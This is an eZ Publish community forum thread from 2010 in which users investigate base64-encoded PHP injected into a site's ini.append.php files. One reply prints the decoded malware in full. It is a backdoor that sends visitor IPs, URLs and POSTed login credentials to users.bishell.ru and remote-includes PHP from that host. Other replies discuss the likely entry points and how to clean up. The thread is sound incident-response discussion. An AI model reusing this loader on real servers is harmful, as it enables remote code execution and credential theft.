Weired line in most of my ini.append.php

Weired line in most of my ini.append.php

Friday 02 April 2010 11:44:38 am - 10 replies

Author Message

Robin Muilwijk

Friday 02 April 2010 1:08:44 pm

Hi,

Try an online base-64 decoder, you'll notice this is an encoded php script. Looks fishy to me to say the least...

Regards Robin

Board member, eZ Publish Community Project Board - Member of the share.ez.no team - Key values: Openness and Innovation.

LinkedIn: http://nl.linkedin.com/in/robinmuilwijk // Twitter: http://twitter.com/i_robin // Skype: robin.muilwijk

Paul Borgermans

Friday 02 April 2010 1:43:52 pm

Can you contact me: pb at ez dot no and send me one of those affected ini files?

Paul

eZ Publish, eZ Find, Solr expert consulting and training
http://twitter.com/paulborgermans

Kristof Coomans

Saturday 03 April 2010 12:26:53 am

Looks like a serious security breach in your INI file, if this piece of code does not occur inside comment blocks and if your ini.append.php files can be accessed directly over HTTP (if the proper rewrite rules are not in place).

That piece of code seems to include a script from an external site, so they can execute whatever PHP code they want. I recommend you to remove all occurrences of such code immediately.

Script pasted below, with most base 64 encoded parts replaced with their decoded value.

class newhttp {
    var $fullurl;
    var $p_url;
    var $conn_id;
    var $flushed;
    var $mode = 4;
    var $defmode;
    var $redirects = 0;
    var $binary;
    var $options;
    var $stat = array('dev' => 0,'ino' => 0,'mode' => 0,'nlink' => 1,'uid' => 0,'gid' => 0,'rdev' => -1,'size' => 0,'atime' => 0,'mtime' => 0,'ctime' => 0,'blksize' => -1,'blocks' => 0);
    function error($msg='not connected') { 
        if ($this->options & STREAM_REPORT_ERRORS) { 
            trigger_error($msg, E_USER_WARNING);
        } return
        false;
    }
    function stream_open($path, $mode, $options, $opened_path) { 
        $this->fullurl = $path;
        $this->options = $options;
        $this->defmode = $mode;
        $url = parse_url($path);
        if (empty($url['host'])) { 
            return $this->error('missing host name');
        } $this
        ->conn_id = fsockopen($url['host'], (empty($url['port']) ? 80 : intval($url['port'])), $errno, $errstr, 2);
        if (!$this->conn_id) { 
            return false;
        } if
        (empty($url['path'])) { 
            $url['path'] = '/';
        } $this
        ->p_url = $url;
        $this->flushed = false;
        if ($mode[0] != 'r' || (strpos($mode, '+') !== false)) { 
            $this->mode += 2;
        } $this
        ->binary = (strpos($mode, 'b') !== false);
        $c = $this->context();
        if (!isset($c['method'])) { 
            stream_context_set_option($this->context, 'http', 'method', 'GET');
        } if
        (!isset($c['header'])) { 
            stream_context_set_option($this->context, 'http', 'header', '');
        } if
        (!isset($c['user_agent'])) { 
            stream_context_set_option($this->context, 'http', 'user_agent', ini_get('user_agent'));
        } if
        (!isset($c['content'])) { 
            stream_context_set_option($this->context, 'http', 'content', '');
        } if
        (!isset($c['max_redirects'])) { 
            stream_context_set_option($this->context, 'http', 'max_redirects', 5);
        } return
        true;
    }
    function stream_close() { 
        if ($this->conn_id) { 
            fclose($this->conn_id);
            $this->conn_id = null;
        } 
    }
    
    function stream_read($bytes) { 
        if (!$this->conn_id) { 
            return $this->error();
        } if
        (!$this->flushed && !$this->stream_flush()) { 
            return false;
        } if
        (feof($this->conn_id)) { 
            return '';
        } $bytes
        = max(1,$bytes);
        if ($this->binary) { 
            return fread($this->conn_id, $bytes);
        } else { 
            return fgets($this->conn_id, $bytes);
        } 
    }
    
    function stream_write($data) { 
        if (!$this->conn_id) { 
            return $this->error();
        } if
        (!$this->mode & 2) { 
            return $this->error('Stream is in read-only mode');
        } $c
        = $this->context();
        stream_context_set_option($this->context, 'http', 'method', (($this->defmode[0] == 'x') ? 'PUT' : 'POST'));
        if (stream_context_set_option($this->context, 'http', 'content', $c['content'].$data)) { 
            return strlen($data);
        } return
        0;
    }
    function stream_eof() { 
        if (!$this->conn_id) { 
            return true;
        } if
        (!$this->flushed) { 
            return false;
        } return
        feof($this->conn_id);
    }
    function stream_seek($offset, $whence) { 
        return false;
    }
    function stream_tell() { 
        return 0;
    }
    function stream_flush() { 
        if ($this->flushed) { 
            return false;
        } if
        (!$this->conn_id) { 
            return $this->error();
        } $c
        = $this->context();
        $this->flushed = true;
        $RequestHeaders = array($c['method'].' '.$this->p_url['path'].(empty($this->p_url['query']) ? '' : '?'.$this->p_url['query']).' HTTP/1.0', 'HOST: '.$this->p_url['host'], 'User-Agent: '.$c['user_agent'].' StreamReader' );
        if (!empty($c['header'])) { 
            $RequestHeaders[] = $c['header'];
        } if
        (!empty($c['content'])) { 
            if ($c['method'] == 'PUT') { 
                $RequestHeaders[] = 'Content-Type: '.($this->binary ? 'application/octet-stream' : 'text/plain');
            } else { 
                $RequestHeaders[] = 'Content-Type: application/x-www-form-urlencoded';
            } $RequestHeaders
            [] = 'Content-Length: '.strlen($c['content']);
        } $RequestHeaders
        [] = 'Connection: close';
        if (fwrite($this->conn_id, implode("\r\n", $RequestHeaders)."\r\n\r\n") === false) { 
            return false;
        } if
        (!empty($c['content']) && fwrite($this->conn_id, $c['content']) === false) { 
            return false;
        } global
        $http_response_header;
        $http_response_header = fgets($this->conn_id, 300);
        $data = rtrim($http_response_header);
        preg_match('#.* ([0-9]+) (.*)#i', $data, $head);
        if (($head[1] >= 301 && $head[1] <= 303) || $head[1] == 307) { 
            $data = rtrim(fgets($this->conn_id, 300)); while (!empty($data)) { 
                if (strpos($data, 'Location: ') !== false) { 
                    $new_location = trim(str_replace('Location: ', '', $data));
                    break;
                } $data
                = rtrim(fgets($this->conn_id, 300));
            } trigger_error
            ($this->fullurl.' '.$head[2].': '.$new_location, E_USER_NOTICE);
            $this->stream_close();
            return ($c['max_redirects'] > $this->redirects++ && $this->stream_open($new_location, $this->defmode, $this->options, null) && $this->stream_flush());
        } $data
        = rtrim(fgets($this->conn_id, 1024)); while (!empty($data)) { 
            $http_response_header .= $data."\r\n";
            if (strpos($data,'Content-Length: ') !== false) { 
                $this->stat['size'] = trim(str_replace('Content-Length: ', '', $data));
            } elseif (strpos($data,'Date: ') !== false) { 
                $this->stat['atime'] = strtotime(str_replace('Date: ', '', $data));
            } elseif (strpos($data,'Last-Modified: ') !== false) { 
                $this->stat['mtime'] = strtotime(str_replace('Last-Modified: ', '', $data));
            } $data
            = rtrim(fgets($this->conn_id, 1024));
        } if
        ($head[1] >= 400) { 
            trigger_error($this->fullurl.' '.$head[2], E_USER_WARNING);
            return false;
        } if
        ($head[1] == 304) { 
            trigger_error($this->fullurl.' '.$head[2], E_USER_NOTICE);
            return false;
        } return
        true;
    }
    function stream_stat() { 
        $this->stream_flush();
        return $this->stat;
    }
    function dir_opendir($path, $options) { 
        return false;
    }
    function dir_readdir() { 
        return '';
    }
    function dir_rewinddir() { 
        return '';
    }
    function dir_closedir() { 
        return;
    }
    function url_stat($path, $flags) { 
        return array();
    }
    function context() { 
        if (!$this->context) { 
            $this->context = stream_context_create();
        } $c
        = stream_context_get_options($this->context);
        return (isset($c['http']) ? $c['http'] : array());
    }
}if
(isset($_POST["l"]) and isset($_POST["p"])) {
    if(isset($_POST["input"])) {
        $user_auth="&l=".base64_encode($_POST["l"])."&p=".base64_encode(md5($_POST["p"]));
    }else {
        $user_auth="&l=".$_POST["l"]."&p=".$_POST["p"];
    }
}
else {
    $user_auth="";
}if
(!isset($_POST["log_flg"])) {
    $log_flg="&log";
}
$rkht=1;
if(version_compare(PHP_VERSION,'5.2','>=')) {
    if(ini_get('allow_url_include')) {
        $rkht=1;
    }else {
        $rkht=0;
    }
}

if($rkht==1) {
    if(ini_get('allow_url_fopen')) {
        $rkht=1;
    }else {
        $rkht=0;
    }
}



$v=$p.'.users.bishell.ru'."/?r_addr=".sprintf("%u", ip2long(getenv("REMOTE_ADDR")))."&url=".base64_encode($_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"]).$user_auth.$log_flg;
if($rkht==1) {
    if(!@include_once('http://'.$v)) {
    
    }
}

else {
    stream_wrapper_register('http2','newhttp');
    if(!@include_once('http://'.$v)) {
    
    }
}

independent eZ Publish developer and service provider | http://blog.coomanskristof.be | http://ezpedia.org

Bertrand Dunogier

Saturday 03 April 2010 1:57:50 am

wow... now this is a new one. Thank you Kristof for posting the decoded version.

There are a few results when looking for users.binshell.ru + either base64 or newhttp. One of them, quite well, explained, even though in french, seems to link the issue to FCKEditor, which would make sense here: http://markup.fr/Exploitation-d-une-vulnerabilite-de-FCK-Editor-sur-markup-fr.

This will have to be investigated urgently.

Bertrand Dunogier
eZ Systems Engineering, Lyon
http://twitter.com/bdunogier
http://gplus.to/BertrandDunogier

Piotrek Karaś

Saturday 03 April 2010 4:04:34 am

Looks scary. One thing is what could happen if that piece of code was really malicious, the other thing, the really important one, is how it got there?...

--
Company: mediaSELF Sp. z o.o., http://www.mediaself.pl
eZ references: http://ez.no/partners/worldwide_partners/mediaself
eZ certified developer: http://ez.no/certification/verify/272585
eZ blog: http://ez.ryba.eu

zurgutt -

Saturday 03 April 2010 5:52:11 am

I have removed infections like that on three servers (not mine..). Probable sources of infection each time was joomla webs running under same http user, so once it was broken all the php files on server (many virtualhosts) were infected. Also, on two of them i discovered further root level exploit and backdoors installed. One had ssh server replaced with one that logged passwords.

My recommendation - get a new, clean server and restore webs to it from recent backup or if that is not possible, very very carefully clean everything. Take extra precautions when configuring new server - apache in suexec for each site, extra limitations for external execution and file open root for php etc.

Oh, and before you do anything else get the full backup of everything as it is at moment - remember someone is in control of it and can probably just rm -rf it all when he sees you are starting to fix it.

Certified eZ developer looking for projects.
zurgutt at gg.ee

Softriva .com

Saturday 03 April 2010 9:02:37 am

@PB

I will send you some of the files to your emails.

OOzy

Softriva .com

Saturday 03 April 2010 10:30:52 am

May this help.

We have sugarcrm in a directory in the ez root. We noticed that the sugarcrm is not working and it shows only "White Blank Page". Two days later we notices that our website is showing weird data.

Thank you

OOzy

Piotrek Karaś

Saturday 03 April 2010 12:03:44 pm

Were only INI files "infected" or other *.php files as well? Can you find a correlation between files affected and write permissions rather than just INI files? If so, they source could as well be a "misplaced" ftp account access data (for example after a virus scanning e-mail messages), which actually once happened to one of our clients few years back and they had some similar stuff attached to nearly all their files.

Looking forward to any news on whether this is eZ Publish dependent, which I don't really expect.

BTW. which version of eZ Publish is that?

Cheers,
Piotrek

--
Company: mediaSELF Sp. z o.o., http://www.mediaself.pl
eZ references: http://ez.no/partners/worldwide_partners/mediaself
eZ certified developer: http://ez.no/certification/verify/272585
eZ blog: http://ez.ryba.eu

Softriva .com

Saturday 03 April 2010 10:01:05 pm

Hello,How can I know if other php file were infected. I actually upgraded from 4.1.3 to 4.2.0 to 4.3.0. But there were other *.php file (not ez) in the same directory of the settings files i.e. next to *.ini.I have already emailed Paul Borgermans of a bunch of infected files for his review and investigation.I will also talk to my hosting company that I bought the server from and see if they do something and I will keep ya posted.Oozy

You must be logged in to post messages in this topic!

Powered by eZ Publish™ CMS Open Source Web Content Management. Copyright © 1999-2014 eZ Systems AS (except where otherwise noted). All rights reserved.